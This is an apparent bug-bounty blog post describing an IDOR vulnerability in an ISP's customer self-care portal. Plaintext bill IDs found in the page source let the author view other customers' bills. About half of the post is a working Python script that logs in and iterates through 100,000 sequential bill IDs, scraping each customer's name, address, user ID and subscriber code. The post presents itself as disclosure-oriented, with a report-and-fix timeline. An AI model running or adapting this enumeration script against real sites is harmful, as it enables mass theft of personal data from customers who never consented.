Hacked ISP: IDOR Allowed Retrieving 1.5 Million Customer’s Information

SRLSEC 🇮🇳
3 min readApr 18, 2024

--

OM NAMAH SHIVAYA

Hey guys!

In this post, I’ll dig into an IDOR vulnerability I found on the Internet service provider website. If you want to read my previous blog regarding my findings, click the following link.

This was a weird encounter of IDOR vulnerability to me, I was not sure why that was happening but I figured it out finally at the end.

So let’s check out the vulnerability.

Identifying functionalities of an App
- Customer login
- Customer forgot password
- Plan selection
- Payment system
- Change broadband password
- Change login password
- View bills
- View customer documents
- Upload documents

I started to test login functionality, I tried all methods to bypass authentication, but unfortunately, no vulnerabilities were identified. I have already an account on this website. Then I logged into the application and started to test each authenticated functionality.

Testing View Bill Functionality

I opened a previous bill. The bill URL is shown below.

https://selfcare.redacted.com/QuotePrint.aspx?Id=_EP_atiJOoAUaQVWzPhBZUT6RA||&t=_EP_cK_wSScV5Vo|&isThrowEx=_EP_bu326Ol0zRE|

Id=_EP_atiJOoAUaQVWzPhBZUT6RA||

t=_EP_cK_wSScV5Vo|

isThrowEx=_EP_bu326Ol0zRE|

I tried to identify these hash type, but I could not identify that. Then I looked into JavaScript and HTML source code. While reading the HTML source code of the view bill page, I noticed that the page displays parameter values in a readable format.

/QuotePrint.aspx?Id=27464168&t=8220&isThrowEx=1

I copied the endpoint from the source code and opened the URL in the browser tab then intercepted the request and changed the file ID to random ID. Thus, I confirmed the IDOR Vulnerability was in the file ID. I was shocked when I could view another customer’s bill details, which include the customer’s Full name, Address, user ID, and more.

Exploit Development

We need to automate viewing all customer’s bill details using Python.

import requests
from bs4 import BeautifulSoup
import pandas as pd
import json
import time
from datetime import datetime
import urllib3
import lxml

requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings()


userid = 'username'
passw = 'password'

loginurl = ('https://selfcare.redacted.com/Customer/Default.aspx')
loginurlpost = ('https://selfcare.redacted.com/Customer/PortalLogin.aspx?h8=1')

s = requests.session()
r = s.get(loginurl)
soup = BeautifulSoup(r.text, 'html.parser')

# GET DEFAULT REQUEST BODY VALUES
tmp = soup.find(attrs={"name": "__VIEWSTATE"})
width = tmp.get("value")
tmp = soup.find(attrs={"name": "__VIEWSTATEGENERATOR"})
pxr = tmp.get("value")
tmp = soup.find(attrs={"name": "__EVENTVALIDATION"})
gps = tmp.get("value")

req_body = { '__LASTFOCUS': '',
'ToolkitScriptManager1_HiddenField': '',
'__EVENTTARGET': '',
'__EVENTARGUMENT': '',
'__VIEWSTATE': width,
'__VIEWSTATEGENERATOR': pxr,
'__EVENTVALIDATION': gps,
'txtUserName': userid,
'txtPassword': passw,
'hdnloginwith': 'username',
'save': 'Log In',
}


req_headers = {
'referer': 'https://selfcare.redacted.com/Customer/Default.aspx'
}

# FOR DEVELOPMENT
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

r = s.post(loginurlpost , data=req_body, cookies=r.cookies, verify=False, headers=req_headers)

if 'Welcome' in r.text:
print("\n============================== Login Success ==============================\n")

start_num = 1

start = time.time()
end_num = start_num + 100000
filename = (f'{start_num}-{end_num-1}')

for i in range(start_num, end_num):
address = ''
user_name = ''

source_code = s.get(f'https://selfcare.redacted.com/QuotePrint.aspx?id={i}&t=8220&isThrowEx=1').text

soup = BeautifulSoup(source_code, 'html.parser')

tablelist_1 = []
for table in soup.find_all('table', {'class': 'hed'}):
for tr in table.find_all('tr'):
for td in tr.find_all('td'):
tablelist_1.append(td.text)
address = tablelist_1[9]
user_name = tablelist_1[8]

tablelist = []
for table in soup.find_all('table', {'class': 'sec'}):
for tr in table.find_all('tr'):
for td in tr.find_all('td'):
tablelist.append(td.text)

userid = tablelist[1]
sub_code = tablelist[3]
print(f'{i} - {sub_code} - {userid} - {user_name} - {address}')

now = datetime.now()
end = time.time()
hours, rem = divmod(end-start, 3600)
minutes, seconds = divmod(rem, 60)
print(now.strftime('\n' + "=============== COMPLETED - %d/%m/%Y %H:%M:%S")+ " {:0>2}:{:0>2}:{:05.2f}".format(int(hours),int(minutes),seconds) + '===============' + '\n')


else:
print("Login Failed")

Now the automation is done and now I need to run a Python script. It fetches all the sensitive information of all customers.

I reported this security issue to the affected organization.

Timeline:

18/03/2024 — Reported

21/03/2024 — Fixed

Thanks for reading. Do clap and share if you like.

--

--

SRLSEC 🇮🇳

Offensive Web Application Security | Python Developer | Network Engineer